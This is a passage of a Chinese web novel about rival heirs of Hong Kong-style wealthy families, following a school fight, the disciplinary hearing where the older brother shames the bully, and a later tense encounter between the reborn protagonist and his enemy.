冷静下来,却发现贺朝阳不知怎么的,鼻子像开闸的水龙头,鼻血糊了一脸。 贺朝阳没想过陈一诺敢动手,他摸了摸脸上的血,骂道:“操你妈!”举起拳头就往陈一诺脸上揍。 陈一诺反应很快,闪身躲开他的攻击,照着他的肚子又出了一拳,骂回去:“你操谁妈?你再说一个试试,说一句老子打十拳!” 旁边的小弟看不过眼,快速上场围着陈一诺拳打脚踢,要给贺朝阳出气。 陈一诺班上的同学,本就压了一肚子火,看陈一诺被这样围着打,也吼着上场跟他们干起来。没人想到,好好的比赛,最后会变成群殴。现场顿时陷入混乱。 “都给我停手!再打全部扭送警察局!”教导主任拿着大喇叭吼着。 “别打了别打了!住手听见了没!” “岚枫山陈浩南”也被打闹声吸引过来,带着一班高三冲进人群里拉架。 在人群外,他仿佛看见台风中心处,一个人坐在贺朝阳身上对他左一拳右一拳,非常对称。 庄嘉轩在台风外围撕开一个口子,吼着:“停手!别打了!” 等他走到台风眼处,一眼认出坐在贺朝阳身上的人是陈一诺,他整个人震惊了! 上次在“斗金”,他就知道陈一诺打起架来不要命,但上次,他的对手是近身搏斗经验丰富的成年古惑仔,所以他没打赢。 这回对上同龄人,简直回到舒适区,全方位碾压贺朝阳。 陈一诺坐在贺朝阳身上,不管不顾地一拳又一拳落在他脸上,身边的人如何对他拳打脚踢,要把他拉开,他也完全感觉不到疼痛。 庄嘉轩看见场面失控,“嘶——”了声,赶紧把陈一诺从贺朝阳身上拉开。 躺在地上满脸血的贺朝阳,喘着气,声音洪亮,他不忿大吼:“庄嘉轩!把人给我放下!把我打成这样,他不能走!” 陈一诺被他这句话一激又要往前冲,还好庄嘉轩力气比他大,好歹把人拉住了。 他教训贺朝阳:“贺朝阳,嘴巴闭上吧!”转头看向旁边的人,“别看人闹了,快把人带去医务室!” 送走贺朝阳,他又回头打量陈一诺。这人脸上的血比贺朝阳还多,眼里那股狠劲却还没消失,不知道他哥看见了,会不会骂人…… 庄嘉轩长叹一口气,拉着人赶紧往医务室走。 …… 半小时后,两人的哥哥们:陈宗礼和贺朝风,同时抵达圣保罗中学。 他们被带到校长办公室,并且在门外会客等候区内,看见了负伤的弟弟们。 看见哥哥来了,弟弟的表情倒是统一:统一低下头,统一不敢看,统一不出声。 贺朝阳不想给他哥奚落自己的机会,陈一诺不想让陈宗礼看见他闯祸。 左边的贺朝阳,两个鼻孔都塞着纸卷止血,一张脸肿得像猪头。 右边的陈一诺,看着好些,就是左眼上贴着纱布,校服衬衫上全是灰黑的鞋印,手臂青一块紫一块。 陈宗礼睨他一眼,只皱眉,不说话。 贺朝风双手揣兜走到贺朝阳面前,两兄弟都有一双三白眼,但贺朝风嘴朝左歪,声音很沉。 “啧”了一声,开口问:“打赢了吗?” 一旁的陈一诺嘀咕,有其哥必有其弟,连声音都一样欠揍。 贺朝阳低头抿着嘴,没说话,被陈宗礼抢先,冷笑道:“你都未必能打赢,何况弟弟?” 贺朝风三白眼咬牙切齿道:“谁说我打不赢?” 这时,校长王素心站在门口,优雅地双臂交叉在胸前:“怎么,两位家长也要先打一架吗?” 贺朝风剜了一眼陈宗礼,不再说话。 王素心下巴尖朝校长办公室方向抬:“进去说。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 22、第二十二章 作为港城豪门的首选名校,圣保罗挑选学生的条件非常严苛。家庭背景和个人能力缺一不可,还有学籍限制,每年招收比例1:500,竞争相当激烈。 可谓有钱未必读得到。 越顶级的资源,管理难度越高。当初,圣保罗老校长退休,在挑选继任校长人选时非常头痛。既要有学术水平,又要在港城豪门中有威望、有手腕。最终,他们把目光落到王素心身上。 圣保罗中学的现任校长王素心,是华娱集团董事长夫人,“圣保罗陈浩南”庄嘉轩的母亲。 虽然儿子有些叛逆,但王素心这位校长还是非常称职。在她任期内,圣保罗中学的学生百花齐放,升学成绩让人眼红,让港城豪门父母趋之若鹜。其影响力之广,连四大家族对她也不敢怠慢。 王素心带陈宗礼和贺朝风到校长办公室落座。她跟学生、家长打交道多年,一直秉承着奖惩严明的治学态度。 坐下第一句,她就非常不客气:“你们都是大忙人,叫你们来也是万不得已。宗礼即将毕业,朝风也是圣保罗曾经的学生,你们应该清楚,圣保罗校风严格,像这样性质恶劣的群殴,几乎从未发生过。” “更何况这次领头打架的两位,都是来自四大家族的孩子,对学生的影响很不好。” “他们动手的理由,来之前我秘书应该跟你们简单沟通过。贺朝阳先嘴欠,陈一诺先动手。你们……” 她的视线在两人身上扫过,欲言又止。 家家有本难念的经。何况是这样顶级豪门家庭,父母都未必为孩子着想,兄弟间的倾轧残害更是常事,恰巧今天闯祸的都是弟弟,来充当“家长”的都是哥哥。他们之间的感情如何,她并不知道全貌。 但作为校长,她只能站在校方角度考虑和建议,顿了顿继续道:“校方打算给每人一个记过处分。再有下次直接开除。” 两个家长里,贺朝阳率先皱眉。 平时,贺朝阳在学校里做的那些乱七八糟的事,小打小闹,他都是睁一只眼闭一只眼。如果是记过处分,得全校公布,这样一来,贺朗就知道了……他当哥哥的管束无方,也跟着丢脸。 贺朝阳抬起三白眼,对结果明显不满意:“王校长,朝阳只是动嘴,对方可是动手啊,给一样的处罚对我们不公平。” 王素心刚想开口解释,就被陈宗礼轻声打断:“王校,我同意贺少的提议。我觉得只让陈一诺记过就好。” 王素心表情复杂,贺朝风惊讶过后,松一口气。本以为,要跟陈宗礼唇枪舌剑几百个回合,没想到,他居然一口答应。 他心里默念道:果然跟传闻说的一样,陈宗礼跟这个“弟弟”关系不怎么样。 …… 校长室门外,两位弟弟一个肿着脸打游戏,另一个独眼龙坐着发呆,表情非常落寞。 打斗时,他的左眼被贺朝阳打了一拳,到校医处,医生第一时间把他眼睛里的隐形眼镜摘除。幸好没伤及眼球,只是眼周受到一点挫伤。 没了眼镜,陈一诺眼里的世界重叠又模糊,恍如梦中。连刚刚陈宗礼看他时具体什么表情,也全然不知…… 在“斗金”被砸破脑袋的事还没过去多久,这次又校内打架,被叫家长,他心里不可能不慌。 胸口像被什么东西压着,呼吸难受,自责自己沉不住气。如果没有这档子事,本可以高高兴兴回家过中秋。现在可好,肯定要被陈宗礼狠骂一顿。 偏偏始作俑者一脸不在意,被打成猪头,还敢嘴欠挑衅。 “知道怕了?”贺朝阳眼睛不离手机,“我哥虽然不是好东西,但毕竟是我亲哥,贺家一荣俱荣,一损俱损,我哥不会不管我。” “再说,我只是说了你两句,先动手的人是你。别看你家太子爷外表看着和善,实际腹黑又记仇。” “他怎么可能帮你这个跟他争家产的私生子?我看,他恨不得让学校给你一个重罚,回去给老太太打小报告看你笑话。” 陈一诺心里本就乱,被他说完心里更烦:“想再被我按在地上打,你就继续说,反正打十拳和打五十拳差别也不大……” 贺朝阳在学校向来横行无忌,何时被人按在地上如此羞辱过,现场还那么多人!回想起来愤懑得不行。 他“啪——”一下把手机砸到地上,顶着一张红肿的脸,嚷道:“来啊,谁怕谁!” 陈一诺单眼睨他:“你怕我啊~” “还想打?!”校长秘书突然起身,走到他们之间,“再打,就得请陈老太和贺先生亲自过来了。” “把手机捡起来!” 贺朝阳捡起摔烂的手机,气得满脸通红不说话。 秘书看他们冷静下来,才说:“进去吧,你们的处理结果出来了。” …… 在古家,陈一诺只能依靠奶奶白凤娇。为了让她省心,陈一诺在学校总是规规矩矩的,不出风头,忍字当头。 这段时间,估计被陈宗礼惯得成绩好了,人帅了,居然敢在校内打架,还闹到见家长——算起来,这还是他人生第一次见家长。 虽然不后悔,但也没法不忐忑。 两个闯了祸的弟弟,站在哥哥和校长面前,双手背在身后,抿着唇满脸不服地等候判决。 王校长严肃说道:“这回,贺朝阳同学出口伤人在前,陈一诺先动手打人在后,还引发了两个班级的群殴,行为极其恶劣。” “校方和你们家长商量过,一致决定,陈一诺记一次过,贺朝阳罚抄100遍。” 陈一诺以为自己听错,虽然他先动手,可贺朝阳说的话真的让人恨,再说,架都是一起打的,怎么惩罚差那么多? 这屋子里,他只相信陈宗礼,目光不自觉投向他,却只看到一个模糊的轮廓,对方脸上具体什么表情看不真切。 但贺朝阳离得近,那脸上的得意表情不用眼看,也能想象出来。要是没有旁人在,估计要凑到他耳边说一句:我早说了,陈宗礼容不下你的~ 王校长继续说:“本来校方打算,给你们每人一个记过处分。但贺朝阳家长觉得,说错话就直接记过太严重,陈一诺家长也很大度,表示认同。” “但是,贺朝阳的惩罚也不能没有,宗礼建议,你把刚刚说的话罚抄100遍,张贴在学校公告栏公示一个月,算是小惩大戒了。” 贺朝阳脸色瞬间变了,他犹疑地问:“抄我说过的哪……哪些话?” 陈宗礼一脸淡然地解释:“你激怒陈一诺的那些话,就抄那几句。” 贺朝阳三白眼怯懦地看向大哥,又看看校长,欲言又止:“这……不太好吧。” 陈宗礼故意把这话听成,贺朝阳认为惩罚不太公平。 那张没什么人情味的脸,露出大度的表情:“怎么说也是一诺先动手打人,你不需要不好意思。罚抄也是我跟你哥商量后的结果。毕竟,你先动口吗。” 刚开始,王素心觉得这个惩罚不妥,毕竟这个年纪的学生说出口的话,不过脑子,有时候还非常恶毒。贺朝风却认为,不被记过就万事大吉,抄几句话无伤大雅。反正这个处理结果,怎么看都是他们家占了便宜。 可现在看弟弟的脸色,贺朝风心里隐约有种不祥的预感。 陈宗礼满意地察觉贺朝阳面露疑惑,继续补刀:“为了抄写的内容无误,公平起见,一诺,还记得当时他说了什么吧?你复述一下。” 走到这一步,陈一诺彻底明白陈宗礼的用意。 “记得!” 他站直身体,仿佛贺朝阳附体,一字不落地复述:“他先说,陈一诺,你是被陈老太捡回来的私生子吗?” 第一句话说完,现场除了陈一诺,所有人的脸色各有各的难看。 “然后他说,别装了!陈宗礼他爹以前就总装好爸爸,到头来,还不是有私生子……真是道貌岸然,你妈爬床的能力一定很好吧?” “你妈是个爬床的小三……” “够了!” 贺朝风打断了陈一诺声情并茂的复述,从沙发“蹭”地起立,抬手“啪——”给贺朝阳一记响亮的耳光。他这一巴掌非常用力,以至于他弟弟差点站不稳,眼冒金星晃了晃。 陈宗礼慢慢从沙发上站起,脸上不见愤怒,只是用上斜眼凌厉地看着贺朝阳,像两柄尖刀,要划破他的喉咙。 他冷脸道:“本以为只是几句玩笑话,没想到真挺难听的。亲哥都忍不住动手,何况我们一诺。” “一诺的身世,是他的私事,也是我们家的家事。我们陈家跟贺家虽然有交情,也没想到你们会有如此……离谱的揣测,还好老太太不在,她年纪大,为几句话气坏身体就不值当了。” “王校长,我看抄写就算了,那么脏的话贴在校园,那可太有正能量了。他的处分辛苦您再斟酌。今天到这吧,我带一诺先走了。” 陈宗礼动作一点不拖沓,一段话说完,先一步离开了校长办公室,陈一诺赶紧亦步亦趋跟着。 王校长再迟钝,也察觉看似冷静的陈太子,实际上在狂怒发飙。 他刚从圣保罗毕业,非常清楚学校这群富家子弟的死穴。 他们对学校态度蔑视,不担心被惩罚,更不担心被开除,家里有权有势总能给他们托底,只要不做违法乱纪的事,照样在社会上混得风生水起。 但是,他们不能损害家族利益。 他们要遵守食物链规则,尊重生意伙伴的小孩,哪怕当不成铁哥们的友谊,至少也能是点头之交,不能闹僵。 所以,陈宗礼丝毫不在意学校给陈一诺记过,但他要贺朝阳家里人清楚知道,他家孩子,是怎么破坏食物链规则,破坏贺陈两家关系的。 既然觉得动手比动嘴严重,那就亲耳听听贺朝阳那几句话,到底有多难听。 刚开始,陈宗礼就预感这件事最终大事化小。所以,不如他主动出击,等三方在场的时候,把事情捅破。 难听的话不能让陈一诺独自难受,大家都听听,大家都难受。 让他哥面子都挂不住,不得不动怒,那陈一诺动手的理由就更情有可原了。 四大家族之所以是港城金字塔的一小撮,因为他们不止有金钱堆砌的豪门,还有世代相传的家族文化,也就是浸在骨子里的教养。 你家的小孩没家教,还损害两家之间的情谊,那就拉回去好好管教。 这就是陈宗礼的以牙还牙。 …… 从校长办公室一路走到停车场,陈宗礼都没开口说话,只烦躁地松开领带,衬衫解开两个扣子,外套闲散地挂在手臂上。 这是陈一诺第一次看见陈宗礼穿正装。优雅庄重,风流倜傥,连夕阳下影子似乎也格外好看,细想对方也就比自己大三岁,怎么能成熟那么多。 陈一诺低着头,亦步亦趋地跟着他的影子,企图把自己也融在他的影子里,沾点成熟气息。 本来被叫家长,他还挺郁闷的,但陈宗礼给他出了气,他又觉得开心了。 等走到没人的地方,陈一诺才敢拉拉陈宗礼的衣袖,低声说:“哥,我错了。我不该打人。” 陈宗礼突然停住脚步,陈一诺没料到他停得如此突然,一个急刹,差点撞上对方背上。 陈宗礼转过身,眼神复杂地盯着陈一诺看。 他伸手抚上他的脖子,把人往怀里拉近半步,另一只手搭在那头卷毛上,按着他的脑袋微微后仰。 陈一诺皱眉要挣扎,陈宗礼手上用力控制他的脖颈:“别动,让我看看眼睛。” 他小心地揭开左眼的纱布,灵动的大眼睛被异物攻击后充了血,满眼红血丝,眼周还有淤青,难以想象万一打歪了,后果多严重。 “隐形眼镜呢?”陈宗礼突然问。 陈一诺怔了怔,没想到陈宗礼居然知道他戴了隐形? 嘴上回答:“去医务室的时候,校医帮我摘了。他检查过说没事,后续消炎就好。” 陈宗礼不放心:“安全起见,还是要去医院检查。” …… 陈一诺不知道,上午陈宗礼在天峻开会时,突然收到陈宗瑜发来的照片。 那是陈一诺第一次戴隐形眼镜的照片。小卷毛穿着白衬衫校服,摘下厚瓶底眼镜,露出那双水灵的大眼睛,歪着脑袋朝镜头比了个“耶”。那样阳光明媚的卷毛少年,把陈宗礼开早会时,满肚子的牢骚一扫而空。 没想到,几小时后再见真人,就成了“独眼小卷毛”。 看见陈一诺的那刻,他心里咬牙切齿只有一个念头:贺朝阳你完了。 …… 陈宗礼把纱布贴好,小卷毛突然凑到他面前,要不是两人鼻梁高,估计都要亲上了。 陈宗礼往后仰,冷着脸问一句:“干嘛?” “独眼小卷毛”咧着被打青的嘴角,没头没尾道:“好久没见你,这样看你比较清楚。” 陈宗礼了然,小卷毛没了眼镜,成了卷毛瞎子。 “哥,我太想你了!” “还有,谢谢你替我出气。” 小卷毛剩下一只眼,也亮晶晶,湿漉漉的,看得陈宗礼心头发软,明明是中秋佳节,朗月清风,陈宗礼耳畔却听到电闪雷鸣。 他以为是幻觉,静下来,才知道,是心动的声音。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23-30 第23章 “被陈宗礼视为眼中钉的陈二少再现港城!今天带大家扒一扒陈一诺的真实身份吧!” LS酒店总统套房内,陈一诺靠在沙发上刷短视频,肚子上盖着那张安抚毯。 看看这视频的时间长度:短短60秒,把他前半生浓缩解读完毕,虽然真假掺半但高潮迭起,把他塑造成涅槃重生的豪门弃犬,成功收获观众几十万点赞。 他关掉视频,一边感叹自己的身世越来越扑簌迷离,一边庆幸还好繁星TV卖得早,几个KOL,几个快节奏的短视频,就要让媒体行业变天了。 “滴——” 酒店房门打开,王之初手上拿着一堆袋子,气喘吁吁地进来,看他的眼神,像老父亲看啃老的儿子。 “你打算住酒店到什么时候啊?自从你住LS酒店的消息泄漏,楼下总有狗仔蹲着,烦死了。” 陈一诺躺倒在沙发上,面无表情,双手叠放在毯子上,宛如一具安详的尸体。 “你又知道是在拍我?好歹六星级酒店,yp、出轨的一大堆,这里保不齐就是狗子移动办公点。反正老子不搬,老子有钱,老子就喜欢住酒店!” 他突然想起什么,从沙发上坐起:“哎,有没有什么律师函,能警告警告那些狗仔?几百米内不能在我身边出现那种……” 王之初一眼识破,拒绝道:“你不是说他们未必拍你吗?别张嘴就给我增加工作量!” 王之初忙着把大采购的东西一样样放到茶几上:“呐,隐形眼镜,还有一些杂七杂八的东西……” 陈一诺拿起隐形眼镜包装盒,对上面的说明念念有词:“奶茶摩卡……还是个棕色美瞳啊?” “随便吧……感谢老王让我重见光明!之前商场随便买的那款什么水润小黑环,那镜片硬得哟,像给眼珠子磨砂,几乎把我弄瞎……” 王之初嫌弃地看他:“你直接做近视矫正手术吧,大男人去美瞳店里买水润小黑环,像话吗?” 陈一诺洗干净双手,对着化妆镜熟练地佩戴隐形眼镜,喃喃:“所以我让你去买啊!而且,万一手术失败,我以后看不见怎么办?” “一想到看不见你,老王,我心里真的……” 王之初翻了个白眼,强行打断:“差不多得了,还演上了……” “啪——”一叠资料,落在茶几上。 “A国警方对吴奇调查有最新进展,他们追踪到,那位转赠他别墅的金主在开曼群岛注册了一家叫Sunshine的房地产公司。” “结合你之前怀疑HT卫视收买了莫多里身边的秘书,我们顺藤摸瓜,也发现HT跟这家Sunshine也有关联公司……” 陈一诺声音从洗手间传来:“Sunshine是家空壳公司吧。” 王之初点头:“没错,法人是一个顶包的外国人。但能肯定的,这两件事背后都是同一个人在设局。” 听到这里,陈一诺已经确认,这些看似毫不相关,抽丝剥茧后都有着共同的幕后黑手,也就是他上辈子的仇家——贺朝阳。 这个人,从圣保罗时就跟他针锋相对,上辈子为了让贺朗把建盛集团交给他,不择手段把他和陈家一步步推入深渊。 …… “哎呀……”陈一诺喊了一声,王之初以为他突然想到什么,等着往下听。 “老王,我隐形眼镜贴反了!靠,这东西的正反就不能标注明确一下吗,疼死我了……” “……” 王之初觉得自己头上有N条黑线,他无语:“跟你说正经的,别再说你的眼睛了!” 陈一诺不服:“眼睛是心灵的窗口,不搞好了,我怎么装进别的东西?” 王之初破罐破摔了:“你爱装不装,消息就这么多,还有这份新鲜出炉的羽南港竞标资料。” 岚枫山赛车后,陈一诺明确地说,要全身心投入到羽南港项目。本来,他想按陈宗礼说的,到天峻坐下来慢慢聊。没想到,他们赛车的事被媒体爆出,加上莫多里收购失利,两件事叠加,天峻股价最近一直在跌。 这时候,他要是高调现身天峻,记者忙死,陈宗礼烦死,天峻股价还要接续跌,多一事不如少一事,他决定先采用迂回战术。 带好隐形眼镜的陈一诺,擦干眼泪,把茶几上的资料翻了几页,问王之初:“参与竞标的公司有哪些?” 王之初从文件的最底层抽出一张纸:“预计竞标的企业名单都在这里了,一级机密!” 陈一诺从上往下扫视,除了天峻集团,还有一个熟悉的名字——建盛集团。 上辈子,天峻竞标羽南港时,陈一诺还在A国因为繁星TV收购的事奔波。并不清楚当年竞标的集团具体都有哪些,只记得,最后天峻错失羽南港,加上资金周转问题被大财团盯上,开始隐秘地收购天峻散户股份,并发起恶意收购。 那次恶意收购,虽然没能成功,却让天骏集团元气大伤。为后来天峻的破产埋下隐患。 当年,那个企图收购天峻的财团,为首的就是港城四大家族中贺家的建盛集团。 看来,他们姓贺的就是咬着陈家不松口了。 赛车那天,听陈宗礼的意思,他并不打算放弃羽南港,为了避免重蹈覆辙,陈一诺势必要帮天峻过这一关。 戴好隐形的陈一诺,眨着奶茶色大眼珠,迫不及待地翻了翻资料,越翻眉头越紧。 “都是招标话术,没有更多资料确切资料了?” 王之初额上青筋跳动,咬着后牙槽:“大少爷,你张张嘴,我跑断腿。这是zf机密文件。我能拿到这些已经刷爆人情卡了。” 陈一诺合上资料,挠挠头,虽然有重生这个金手指,但他上辈子没参加过羽南港,对细节完全不清楚,很多事情不好展开…… 他眼睛一转,朝王之初打了个响指:“老王,今天中午去恒福吃日料怎么样?” 王之初惊讶他转话题的速度,上下打量他:“你敢这样出去?楼下全是记者,戴个口罩挡一挡吧?” 陈一诺自信飞扬:“不挡,今天就是去见人!” …… 恒福日料位于港城商业区金环的建盛广场内,是一家由建盛集团投资,专门招待客户用的高级日料。 刚开始,知道的人并不多,但来过的客户都说好,口耳相传下,这家店成了繁华地段食材新鲜、烹饪水准一流的名店,慢慢地,还成为港城富豪常驻的日料餐厅。 午市还没开始,恒福已经坐满了人,本来是预约制的餐厅,陈一诺他们好彩,今天剩下一张二人桌没订出去。 进门后,身穿和服的服务员,就把“歇业中”的牌子挂到门口。意思是,今天不接待客人了。 这是恒福的规矩,午市晚市只接待限定数量的客户,坐满就闭门谢客,根本不考虑翻桌。底层目的,是为了让客人们别赶时间,好好谈生意。 为了商谈隐私,餐厅包间为主,但也有零星几个卡座,他们就被服务员带着,在一个四人卡座落座。 王之初拿着平板下单,他忙了一上午早饿了,问道:“少爷,你吃点什么?” 陈一诺托着腮密切留意着店内的食客,喃喃:“除了生的,其他随便。” 王之初点平板的手指没控制住,往下一划,不小心把整列刺身加入购物车。 他一边忙着取消,一边难以置信道:“不吃生的,你来什么日料店?这里低消四位数啊。” 陈一诺眨眨眼,压低声音:“不吃生的就不能来日料店么?你看看,那些人不吃饭,还来日料店呢。” 王之初隔着眼镜打量着四周,除了他们,全是西装革履的企业高管,不少人对着满是文字、图表的电脑窃窃私语。桌上新鲜、美味的刺身一片没少,全成了谈生意的幌子。 从食客到王律师,王之初很快进入工作状态,他俯身向前,压低声音问对面的陈一诺。 “你到底来这里想干嘛??” 陈一诺的隐形眼镜让他视力重回5.1,看见一个身影从包间出来,立刻从座位起来:“想上厕所!” “吃饭呢,上什么厕所?”和“你来4位数低消的地方上厕所”两句话卡在王之初喉咙里,半天选不出,再转头,陈一诺已经翩然离开。 …… 恒福这家日料店的原址是一所法式旧洋房,被设计师巧手改建成讲究的日式庭院。 有涓涓细流,也有葱郁竹林,以石头和木格栅面做间隔,错落有致地建造了一方闹市中的宁静。 陈一诺当然不是真的要上厕所,他走到庭院,在长廊下停住,上身倚着松木柱子,掏出烟,一口咬爆滤嘴隐藏的爆珠,嘴唇轻轻一吸,薄荷味混着烟,让混沌的脑子打了个激灵。 长廊尽头,两个男人慢慢走来,其中一个梳着大背头给旁边那位递烟:“贺少,听说建盛打算投标羽南港,带我一起呗。” 旁边那位“贺少”没接他的烟,挑着眉:“消息哪儿来的?” 大背头“嘿嘿”两声,尴尬地把烟收回:“也不是什么秘密了,行里人都关注着呢。我还知道天峻也准备投羽南港。” “都是兄弟,人多力量大,有钱一起赚呗。你也知道,我最近炒股票亏了不少,我爸对我有些怨言。如果能做成这个项目,我家……” “贺少”手指夹着衬衫袖子往外拎,直到超过西装外套的袖口,才开口道:“兄弟是兄弟,生意是生意。” “全港城都知道,我们建盛吃掉了你们码头50%的生意,你如果抱我家大腿,你爸对你怨言会更大。” 说完,不给人反驳的机会,撂下人就想走,猛然看见廊下站着人,觉得背影相当熟悉。 三白眼骨碌碌多看了几眼,突然声音扬起:“陈一诺!” “哎哟,真的是你啊,老同学,好久不见!” 这声“陈一诺”,成功唤醒了他大脑深层的应激。他夹着烟的手顿了顿,咬着后牙才控制住自己的兽性,没扑上去咬他几口。 他深深吸了一口烟,侧身回头。烟雾模糊了他的面容,隐去了他眼里的恨意。 只听得他强颜欢笑,一字一句道:“好久不见,贺、朝、阳!” …… 小时候看侦探漫画,找到真凶的时候,陈一诺第一反应是:原来是他! 上辈子,陈一诺被吴奇陷害入狱三年,三年后他出狱,费尽心机,终于把陈家推入绝境的罪魁祸首揪出来。 当时,他的第一反应也是:原来是他,原来是贺朝阳! 后来才知道,贺家从一开始就紧盯着陈家不放。而贺朝阳利用陈家兄弟的关系制造舆论,让陈家逐渐分崩离析,为贺家腾出了首富的位置。 陈一诺永远无法忘记,上辈子被推下悬崖前,贺朝阳那张脸,以及他说的话。 当时,陈一诺已经断了双腿,贺朝阳看着埋在血污里的他,恶狠狠道:“陈一诺你像一条引人发笑的蛆。” 他被贺朝阳不耐烦地拎起,像一条吐信子的毒蛇,盯着垂死挣扎的玩物,眼睛里只有嫌弃,没有温度。 “他们都说你虽然是个养子,但聪慧过人,运筹帷幄。我一直觉得他们说得不对。” “要是聪慧过人,怎么会一步步落入我的圈套?要是运筹帷幄,又怎会会是现在的结局?” 陈一诺没了双腿站不起来,依然腰骨很硬,他盯着贺朝阳,冷笑:“贺朝阳,哪怕我死了,也会在下面等你,等着看,你的结局比我好到哪里去。” …… 没想到,他重生了,可以用上帝视角,好好看看这位大反派的新结局。 如果按王之初查回来的消息,虽然没有确凿证据,但教唆吴奇,跟收买莫多里秘书这些事,肯定跟贺朝阳脱不了关系。 上辈子,凭借这个连环套,让陈一诺入狱、一星集团陷入资金困境。让陈宗礼为了救他,A国和港城两地奔波,最终被绑架撕票…… 如今,吴奇被捕,莫多里的钱进了陈一诺口袋,这位贺家二少,还打算在羽南港玩什么把戏呢。 陈一诺非常期待……—— 作者有话说:求预收。 1.职业x双强文《金牌经纪人》 林瑞希靠着高情商,口条好,从默默无闻混成圈中金牌主持人。 一次经纪人疏忽,导致演出失场,林瑞希得罪金主,还被骂上热搜。 工作、代言全面喊停。 和经纪公司解约后,林瑞希见了业内所有经纪公司,唯独没有NK娱乐,因为NK有倪天宇。 朋友问:“你怕什么,旧情复燃?” 林瑞希夸张问:“我怕他?!” 复工第一天,林瑞希被导演质问:“你经纪人呢?” 林瑞希沉默。 一把阴冷的声音,突然出现:“在这!” 林瑞希应激似的抖了抖。 众人惊呆:倪大经纪! 倪天宇内娱金牌经纪人兼NK老板,旗下艺人形形色色,各显神通。 从业务版图看,NK需要林瑞希 从老板情感看,倪天宇需要林瑞希 但林瑞希拎得清,对前任从不抱任何幻想。 作为一名完美前任,他自认做得滴水不漏。 工作场合遇到对方,能周到打招呼。 遇到有人诋毁对方,会帮着说好话。 看到对方获得成功,坦然送上祝福。 直到有一天,倪天宇打跑了林瑞希的追求者。 他擦着破损嘴角,盯着他:“林瑞希,我为你受伤了……” 金牌经纪人倪天宇(攻)x金牌主持人林瑞希(受) 前任之间的推拉试探,时时暗涌 —— 2.豪门x校园甜文《两位少爷先拆后爱》 皇仁国际学校,全海城豪门公子千金聚集地。 而赫赫有名的【宇宙首富预备役】群组里,每天都会传来最新鲜的八卦消息。 某一天,群组传来一则震惊豪门圈的劲爆新闻:首富儿子回来了! 曾经的皇仁“一哥”、两年前突然消失的风头人物,重回皇仁念书,一石激起千层浪! 第一层浪来得非常迅猛 群组扒出另一则劲爆新闻:首富又又又结婚了!这次的未婚妻是“Vivian”的老妈! 周维安,皇仁校草兼学霸,凭借性格高冷,说话刻薄,喜提“Vivian”的外号。 他做梦也没想到,利益至上的老妈,这次的联姻对象居然是首富! 第二层浪也来得很迅猛! “听说,首富跟Vivian亲爸不对付!你知道不对付到什么程度吗?” “Vivian亲爸叫周雅中!” “首富儿子,咱们皇仁一哥本名:周亚中!” “我去!这个重组家庭的关系可乱得很呐……” 重组家庭第一聚餐。 周亚中假装苦恼地,跟周维安整理彼此称谓。 “这样吧,以后,我叫你Vivian哥。” “你叫我亚中爸爸……怎么样?” 周维安拿起叉子,“嘭!”插到桌上,咬牙切齿:“我!叫!你!妹!” 第二天回学校,Vivian堵着周亚中,命令道:“这个家必须拆了!有没有办法?” 周亚中假装思考:“emmmmmm……我们俩谈恋爱!” Vivian:“有道理,但不对劲!” 老爱欺负人实则很心软校霸攻x高岭之花实则很缺爱的校草受 ———— 第24章 “啪嗒——” 青竹制作的惊鹿一侧有水注入,缓缓下垂,撞击在深黑的石墩上发出脆响。 贺朝阳熟捻地搭在他肩上,天知道陈一诺多努力念静心咒,才克制着没给对方一个过肩摔。他身上的古龙水霸道地侵入鼻尖,陈一诺默默多吸几口烟,以毒攻毒。 贺朝阳对此毫不察觉,假装亲切:“陈二少大驾光临我们店,居然没人通知我,太不应该了!” 陈一诺虚伪地笑笑:“我没有提前预约,看到有空桌就进来了。港城那么小,该遇到的总会遇到。” 他心里蛐蛐:特别是像我们这种,有宿世恩怨的死对头。 贺朝阳三白眼往上扬,笑道:“哎呀,我刚出差回国,没赶上轩哥的接风宴,不然,现场看你跟太子爷同场竞技,肯定很刺激。” 陈一诺心里骂骂咧咧:你要在现场,我第一个开车撞飞你,信不信? 脸上却很平静:“要是你跟朝风哥也一起下场,估计更好看。” 港城豪门里屡传兄弟不和的,可不只陈家,贺家两兄弟的关系就很好么?大家没说破而已… 贺朝阳摆摆手:“我怎么玩,家里都懒得管。太子爷可不同,扛着整个天峻算是“国宝”的级别,这还还肯陪你疯……” 看着贺朝阳收起獠牙,努力装正常人,陈一诺突然觉得挺神奇。 同为四大家族,关于继承问题,各家有各家的不同处理方法。 陈家早早把继承权、天峻管理权交给陈宗礼,陈一诺出国走创业的路子。 贺家则由贺朗常年待机,稳居一线,把贺朝风和贺朝阳两兄弟作为二把手培养,让他们相互较劲,相互制衡。 几年规训下,居然能把高中时期口无遮拦的贺朝阳,练成如今这幅谈表面上姿态低到尘埃里,暗地里阴暗爬行,全是恶心的诡计。等时机成熟,给人致命一击。 上辈子,要不是陈一诺领略过他的两面三刀,该以为眼前这人改邪归正了。 陈一诺缓慢喷出一口烟,心道:继续演,老子陪你演。 他不屑道:“怎么能说成是他陪我疯呢?明明是他输不起,想在大庭广众面前扳回一城!” 他手指指向自己,故意说道:“我一个人在国外白手起家创立一星,莫多里收购案也是我赢!” “他有什么本事?无非就是投了个好胎,仗着老太太撑腰……那天赛车,他宁愿犯规也要赢我,说明什么……” 他自顾自地下结论:“说明陈宗礼嫉妒我!” 贺朝阳悄无声息地打量着陈一诺,眼神里透露着——几年不见,这位陈二少狂了许多啊。 以前,他分明是陈宗礼的跟尾狗,说他一句坏话,疯狗就扑上来打人。陈一诺跟贺朝阳打架被请家长那回,陈宗礼为了给弟弟出气,使计让他丢脸,害他被贺朝风狠甩一记耳光,这一幕实在让他记忆深刻。 现在倒好,提起陈宗礼,陈一诺每句话里都带着咬牙切齿的恨意,是真的这么想,还是在他面前假装的呢? 贺朝阳思虑重,试探着问:“真的假的啊?我记得,以前在圣保罗,你跟陈宗礼关系挺好的啊,八卦杂志写你们不和,我还不相信,现在听你这么说,那些八卦都是真的了?” 陈一诺听了直摇头,他把烟摁熄,瞎话张嘴就来:“八卦不能全信,但空穴来风未必无因。” “当年,陈宗礼去学校替我出气,那是因为你说的话伤害到陈家脸面,他才勉为其难帮帮我;一旦伤害到他自己的切身利益,二话不说直接把我赶出国。利益面前,兄弟情份就是狗屁!” “退一万步说,我也不是他亲弟弟。他对我有什么好心疼的?只能怪我那时候年纪太小,被他骗了……” 